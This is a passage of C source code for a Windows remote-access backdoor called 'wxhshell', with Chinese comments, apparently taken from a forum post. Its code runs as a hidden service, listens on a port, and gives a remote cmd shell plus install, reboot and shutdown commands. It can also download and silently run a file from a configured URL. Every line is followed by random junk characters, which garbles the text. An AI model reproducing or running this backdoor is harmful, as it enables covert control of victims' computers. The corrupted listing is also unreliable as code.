  else 'gDe3@ci!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2tf6GX:  
  } Us-A+)r*!  
  else { ] H&c'  
_]=9#Fg7{  
    switch(cmd[0]) { P'tMu6+)  
  JUQg 'D  
  // 帮助 MCU9O  
  case '?': { O R #7"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8a>SC$8"  
    break; a4&:@`=  
  } SY1GR n  
  // 安装 j[XYj6*d  
  case 'i': { AIh*1>2Xn  
    if(Install()) /\J|Uj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iYKU[UP?  
    else +O+<Go@a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bRPO:lAy  
    break; b/<mRQ{  
    } R#qI( V  
  // 卸载 eN/G i<  
  case 'r': { } 0M{A+  
    if(Uninstall()) >SDp uG&>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |pW\Ec#(  
    else 6Cc7ejt|u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8!zb F<W9  
    break; hNbIpi=  
    } L.B~ax.|Z  
  // 显示 wxhshell 所在路径 i:Y\`J  
  case 'p': { maC>LBa2/  
    char svExeFile[MAX_PATH]; 6E|S  
    strcpy(svExeFile,"\n\r"); G{RTH_p  
      strcat(svExeFile,ExeFile); 6>DLp}d  
        send(wsh,svExeFile,strlen(svExeFile),0); 6I|A- h  
    break; wsnK3tM7-  
    } mqFq_UX/ T  
  // 重启 V1<`%=%_W  
  case 'b': { 'jvpNn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BQjGv?p0s  
    if(Boot(REBOOT)) ;7rv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "!L kp2\  
    else { &5Y_>{,  
    closesocket(wsh); P`"mM?u  
    ExitThread(0); G!Zyl^  
    } s-?fUqA  
    break; .y):Rh^  
    } 4tJa-7  
  // 关机 #a,9B-X  
  case 'd': { CMl~=[foW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z~Na-N  
    if(Boot(SHUTDOWN)) Q~Ea8UT. #  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9lspo~M  
    else { 7SS07$B  
    closesocket(wsh); ? +`x e{k  
    ExitThread(0); IOEM[zhb$  
    } ebM{OI  
    break; 0=![fjm  
    } {p/YCch,  
  // 获取shell >Ko[Xb-8^_  
  case 's': { 9_huI'"p  
    CmdShell(wsh); o""~jc~  
    closesocket(wsh); K ,isjh2  
    ExitThread(0); I>"Ci(N  
    break; jv&+<j`r  
  } C-SLjJw  
  // 退出 (|u31[  
  case 'x': { ([LIjaoi  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <qeCso  
    CloseIt(wsh); FFzH!=7T?  
    break; 3-x%wD.  
    } pFO^/P'  
  // 离开 E%3TP_B3  
  case 'q': { PRr*]$\&Mj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ][:rLs  
    closesocket(wsh); U[||~FW'  
    WSACleanup(); FvXqggfGv  
    exit(1); Pil;/t)"  
    break; A 's-'8m  
        } FPv" N'/  
  } (bm;*2  
  } N|dD!  
GYK\LHCPd  
  // 提示信息 Zb(t3I>n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |NMO__l@  
} k-jahm4  
  } aj8Rb&  
.eF_cD7v  
  return; qd6fU^)i  
} 9&  
2wlKBSON  
// shell模块句柄 *'8LntZf  
int CmdShell(SOCKET sock) v1+U;Th>g  
{ p>kq+mP2bc  
STARTUPINFO si; 8r:M*25  
ZeroMemory(&si,sizeof(si)); I1=(. *B}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; npH?4S-8G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .<&s%{EW  
PROCESS_INFORMATION ProcessInfo; YpmYxd^  
char cmdline[]="cmd"; 9-lEtl%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Tls a%pn  
  return 0; wk $,k  
} Pe ~c  
]<trA$ 0  
// 自身启动模式 1W,(\'^R  
int StartFromService(void) rAukHeH  
{ >k(MUmhX  
typedef struct i[nF.I5*f  
{ T *>`,}J  
  DWORD ExitStatus; q,l)I+  
  DWORD PebBaseAddress; j8$Zv%Ca%  
  DWORD AffinityMask; }31Z X  
  DWORD BasePriority; #&Is GyU  
  ULONG UniqueProcessId; [EZYsOr.  
  ULONG InheritedFromUniqueProcessId; $g\&5sstE  
}   PROCESS_BASIC_INFORMATION; )D@~|j:  
Fo|xzLm9*|  
PROCNTQSIP NtQueryInformationProcess; GjT#%GBF  
r o\1]`6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E4oz|2!m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WFv!Pbq,  
cxyM\@QB3  
  HANDLE             hProcess; %s=Dj2+  
  PROCESS_BASIC_INFORMATION pbi; ,/2LY4` 5  
oy\B;aAK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SN Y (*  
  if(NULL == hInst ) return 0; M\oVA=d\0  
]k%PG-9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6NLW(?]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t~p y=\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ([E]_Q  
m5c&&v6%"b  
  if (!NtQueryInformationProcess) return 0; ZFn(x*L  
{})$ 99"x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *b|NjwmB  
  if(!hProcess) return 0; I0 Ia6w9  
m,MSMw1p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [~mGsXV  
!]koSw}  
  CloseHandle(hProcess); 2YBIWR8z  
<M+R\SH-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "VUYh$=[  
if(hProcess==NULL) return 0; L ^J- ("e_  
p9[6^rjx8  
HMODULE hMod; L36Yx7gT<  
char procName[255]; &1^%Nxu1  
unsigned long cbNeeded; N/F$bv  
WI[:-cv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u?H 2%hD  
g.DLfwI|  
  CloseHandle(hProcess); .2:\:H~3  
kdrod[S  
if(strstr(procName,"services")) return 1; // 以服务启动 9<1F[SS<s9  
9U_ks[Qa  
  return 0; // 注册表启动 zc+@lJy  
} Qu\@Y[eia5  
OM83S|1s  
// 主模块 7=}F{U  
int StartWxhshell(LPSTR lpCmdLine) Hh[Tw&J4  
{ kBWrqZ6  
  SOCKET wsl; >t+ qe/  
BOOL val=TRUE; JgfVRqm   
  int port=0; d5m`Bm-{  
  struct sockaddr_in door; Qst$S}n  
Ty4S~ClO#'  
  if(wscfg.ws_autoins) Install(); hvV_xD8|  
H=c`&N7E  
port=atoi(lpCmdLine); 9(_{`2R8  
M4f;/`w  
if(port<=0) port=wscfg.ws_port; OYL]j{  
&Z("D7.G  
  WSADATA data; >4i>C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !7p}C-RZp  
:3ZYJW1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;/O#4]2*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `FF8ie8L  
  door.sin_family = AF_INET; QV|>4^1D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2?7(A  
  door.sin_port = htons(port); Sr Ca3PA  
f i~I@KJ>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KM,|} .@:  
closesocket(wsl); @'FE2^~Jj  
return 1; HM[klH]s=  
} lHfe<j]  
aE VsU|  
  if(listen(wsl,2) == INVALID_SOCKET) { &p(0K4:  
closesocket(wsl); %CnxjtTo  
return 1; VU.@R,  
} F3U`ueP  
  Wxhshell(wsl); `{K_/Cit  
  WSACleanup(); 5N7H{vT_  
]c)_&{:V  
return 0; Bn?V9TEoO  
N#xG3zZl|N  
} afEF]i  
"j<bA8$Vw  
// 以NT服务方式启动 d3Di/Iej   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n| !@1sd  
{ ;T+pu>)  
DWORD   status = 0; 1QqHF$S  
  DWORD   specificError = 0xfffffff; T? ,P*l  
;az5ZsvN D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cQj-+Tmu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gN6rp(?y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]88];?KS}  
  serviceStatus.dwWin32ExitCode     = 0; -Sv"gLB  
  serviceStatus.dwServiceSpecificExitCode = 0; &} 6KPA;  
  serviceStatus.dwCheckPoint       = 0; H6TD@kL9Wr  
  serviceStatus.dwWaitHint       = 0; CO+/.^s7}S  
"`Ge~N[$A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,,L2(N  
  if (hServiceStatusHandle==0) return; .4y>QN#VL  
&BE  g  
status = GetLastError(); e$)300 o  
  if (status!=NO_ERROR) Lv[OUW#S  
{ XM1`x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o|pT;1a"  
    serviceStatus.dwCheckPoint       = 0; 6.1)IQkO  
    serviceStatus.dwWaitHint       = 0; una%[jTc  
    serviceStatus.dwWin32ExitCode     = status; PCrU<J 7  
    serviceStatus.dwServiceSpecificExitCode = specificError; UaG1c%7?X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  u6u=2  
    return; 7%?jL9Vw  
  } zvc`3  
B?rSjdY4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T GB_~Bqe  
  serviceStatus.dwCheckPoint       = 0; i+3fhV  
  serviceStatus.dwWaitHint       = 0; {:nQl}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `Pn[tuIO  
} 6R;3%-D  
fU3`v\X  
// 处理NT服务事件,比如:启动、停止 Q;Wj?8}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #:x4DvDkR  
{ b^c9po  
switch(fdwControl) HL3XyP7  
{ rZPT89M6  
case SERVICE_CONTROL_STOP: bAk&~4Y_"  
  serviceStatus.dwWin32ExitCode = 0; o KD/rI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s MN*RKer  
  serviceStatus.dwCheckPoint   = 0; S/ywA9~3Q  
  serviceStatus.dwWaitHint     = 0; %#L]]-%  
  { /.Nov  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gwd (N  
  } %h"z0@+  
  return; `i +g{kE2M  
case SERVICE_CONTROL_PAUSE: !}+tdT(y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hJz):d>Im  
  break; x]mxD|?f  
case SERVICE_CONTROL_CONTINUE: [L $9p@I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "& Dx=Yf  
  break; KfCoe[Vv  
case SERVICE_CONTROL_INTERROGATE: RE$`YCs5  
  break; 1{Mcs%W;w5  
}; qH,l#I\CG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nnb8Gcr  
} z\ss4  
]{~NO{0@Y  
// 标准应用程序主函数 tc r//  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u,3,ck!B>@  
{ Q zZ;Ob]'  
raVA?|'g~  
// 获取操作系统版本 v4miU;|\  
OsIsNt=GetOsVer(); /y7M lU9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p R dk>Ph  
wv QMnE8\  
  // 从命令行安装 Lj\/Ji_  
  if(strpbrk(lpCmdLine,"iI")) Install(); d%I" /8-J  
[OTJVpC  
  // 下载执行文件 $uui:wU%Q  
if(wscfg.ws_downexe) { . #Z+Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1 Q-bYJG  
  WinExec(wscfg.ws_filenam,SW_HIDE); :f5s4N  
} '$As<LOEd/  
^ 5VK>  
if(!OsIsNt) { {HC@u{K -  
// 如果时win9x,隐藏进程并且设置为注册表启动 49Df?sx  
HideProc(); K'iIJA*Sn  
StartWxhshell(lpCmdLine); u JR%0E7!  
} -"Y{$/B  
else ]u-]'P  
  if(StartFromService()) 3bqC\i^[\m  
  // 以服务方式启动 +#b:d=v!  
  StartServiceCtrlDispatcher(DispatchTable); @''GPL@  
else bk<\ujH  
  // 普通方式启动 VN0mDh?E  
  StartWxhshell(lpCmdLine); $I#q  
2>-S-;i  
return 0; kpbm4t  
}
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只看该作者 1 发表于: 2006-10-10
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